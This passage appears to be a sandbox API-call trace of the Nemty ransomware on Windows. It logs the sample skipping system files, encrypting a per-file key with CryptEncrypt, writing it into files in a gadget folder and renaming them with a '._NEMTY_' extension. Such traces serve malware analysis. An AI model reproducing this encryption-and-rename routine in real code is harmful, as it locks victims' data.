lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.268] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0116.289] CloseHandle (hObject=0xffffffff) returned 0 [0116.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0116.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0116.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0116.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0116.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0116.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0116.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_dot.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_dot.png._nemty_kgobjgd_")) returned 0 [0116.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0116.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0116.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0116.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0116.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0116.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0116.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0116.290] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82993429, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82993429, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2866a741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="flower_h.png", cAlternateFileName="")) returned 1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2=".") returned 1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="..") returned 1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="...") returned 1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="windows") returned -1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="$RECYCLE.BIN") returned 1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="rsa") returned -1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="NTDETECT.COM") returned -1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="ntldr") returned -1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="MSDOS.SYS") returned -1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="IO.SYS") returned -1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="boot.ini") returned 1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="boot.ini") returned 1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="AUTOEXEC.BAT") returned 1 [0116.290] lstrcmpiW (lpString1="flower_h.png", lpString2="ntuser.dat") returned -1 [0116.291] lstrcmpiW (lpString1="flower_h.png", lpString2="desktop.ini") returned 1 [0116.291] lstrcmpiW (lpString1="flower_h.png", lpString2="CONFIG.SYS") returned 1 [0116.291] lstrcmpiW (lpString1="flower_h.png", lpString2="RECYCLER") returned -1 [0116.291] lstrcmpiW (lpString1="flower_h.png", lpString2="BOOTSECT.BAK") returned 1 [0116.291] lstrcmpiW (lpString1="flower_h.png", lpString2="bootmgr") returned 1 [0116.291] lstrcmpiW (lpString1="flower_h.png", lpString2="programdata") returned -1 [0116.291] lstrcmpiW (lpString1="flower_h.png", lpString2="appdata") returned 1 [0116.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0116.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_h.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_h.png", lpUsedDefaultChar=0x0) returned 12 [0116.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0116.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_h.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_h.png", lpUsedDefaultChar=0x0) returned 12 [0116.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0116.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_h.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_h.png", lpUsedDefaultChar=0x0) returned 12 [0116.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0116.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_h.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_h.png", lpUsedDefaultChar=0x0) returned 12 [0116.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0116.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0116.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0116.291] Sleep (dwMilliseconds=0x5) [0116.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf8f6ef50, dwHighDateTime=0x1d561e7)) [0116.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf8f6ef50, dwHighDateTime=0x1d561e7)) [0116.296] GetLastError () returned 0x5 [0116.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0116.296] GetLastError () returned 0x5 [0116.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0116.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.296] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0116.296] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0116.296] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0116.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0116.296] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="CshF/TM/cCZqwPg1NauHq7loUmV9/yh6IONTPrk6LWsU4bSbKGR927tEck0tBBxV\r\nywnj56clpVch5a6vO/kqxoXimnecshnOrGE6b1DyhiT2ojnSWDcDuXjk61g+870/\r\n7WUno2ysTU0WMrzLhrWefciD4zg14HRLMXSDK/74Y3bfWPCVK4e34jp1MrNgy0Uv\r\np+rd0q+LjT1Bs8T0/CcKYDv36dGeGnLvlWXwLnoWvkywfI+h2B+n1qxkWWqHi8DN\r\nmqbaWRDHaIbLWUB4i/Jh2Mcwsyjdd+wPXyGCnkM3nJCjnXhZZETisYjBjvB71yFp\r\nffIfWQgI7ds85Jc8sKNMZw==\r\n", pcchString=0x653e91c) returned 1 [0116.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0116.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0116.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0116.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0116.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0116.297] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.300] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0116.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0116.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.329] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.348] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.348] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.358] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.358] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.387] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.397] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.397] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.403] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0116.409] CloseHandle (hObject=0xffffffff) returned 0 [0116.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0116.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0116.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 